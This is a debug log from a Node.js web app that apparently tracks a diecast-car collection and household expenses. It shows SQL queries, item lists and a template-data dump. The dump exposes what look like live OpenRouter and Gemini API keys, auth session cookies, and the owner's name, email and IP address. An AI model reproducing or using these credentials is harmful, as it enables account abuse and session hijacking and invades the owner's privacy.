  }
}
2026-02-12T13:31:02.927Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:31:02.927Z server-connect:app Executing action step select
2026-02-12T13:31:02.927Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:02.928Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:31:02.928Z server-connect:app Executing action step select
2026-02-12T13:31:02.928Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:02.929Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:31:06.236Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:31:06.236Z server-connect:app Executing action step identify
2026-02-12T13:31:06.236Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:06.236Z server-connect:output identity: 1
2026-02-12T13:31:06.236Z server-connect:app Executing action step restrict
2026-02-12T13:31:06.236Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:31:06.237Z server-connect:output restrict: undefined
2026-02-12T13:31:06.237Z server-connect:router Render template layouts/main
2026-02-12T13:31:06.237Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:31:06.996Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:31:06.997Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:31:06.997Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:07.000Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:07.000Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:31:07.000Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:07.001Z server-connect:app Executing action step identify
2026-02-12T13:31:07.001Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.001Z server-connect:output identity: 1
2026-02-12T13:31:07.001Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.001Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:07.001Z server-connect:app Executing action step identify
2026-02-12T13:31:07.001Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.001Z server-connect:output identity: 1
2026-02-12T13:31:07.001Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.001Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:07.002Z server-connect:app Executing action step identify
2026-02-12T13:31:07.002Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.002Z server-connect:output identity: 1
2026-02-12T13:31:07.002Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.002Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:07.002Z server-connect:output restrict: undefined
2026-02-12T13:31:07.002Z server-connect:app Executing action step select
2026-02-12T13:31:07.002Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:31:07.003Z server-connect:output restrict: undefined
2026-02-12T13:31:07.003Z server-connect:app Executing action step single
2026-02-12T13:31:07.003Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:31:07.003Z server-connect:output restrict: undefined
2026-02-12T13:31:07.003Z server-connect:app Executing action step select
2026-02-12T13:31:07.004Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:07.004Z server-connect:app Executing action step identify
2026-02-12T13:31:07.004Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.004Z server-connect:output identity: 1
2026-02-12T13:31:07.004Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.004Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:07.004Z server-connect:app Executing action step identify
2026-02-12T13:31:07.004Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.004Z server-connect:output identity: 1
2026-02-12T13:31:07.004Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.004Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:07.005Z server-connect:app Executing action step identify
2026-02-12T13:31:07.005Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:07.005Z server-connect:output identity: 1
2026-02-12T13:31:07.005Z server-connect:app Executing action step restrict
2026-02-12T13:31:07.005Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:07.005Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:31:07.007Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:31:07.008Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:31:07.008Z server-connect:output restrict: undefined
2026-02-12T13:31:07.008Z server-connect:app Executing action step select
2026-02-12T13:31:07.008Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:07.009Z server-connect:output restrict: undefined
2026-02-12T13:31:07.009Z server-connect:app Executing action step paged
2026-02-12T13:31:07.009Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:31:07.010Z server-connect:output restrict: undefined
2026-02-12T13:31:07.010Z server-connect:app Executing action step select
2026-02-12T13:31:07.010Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:07.011Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
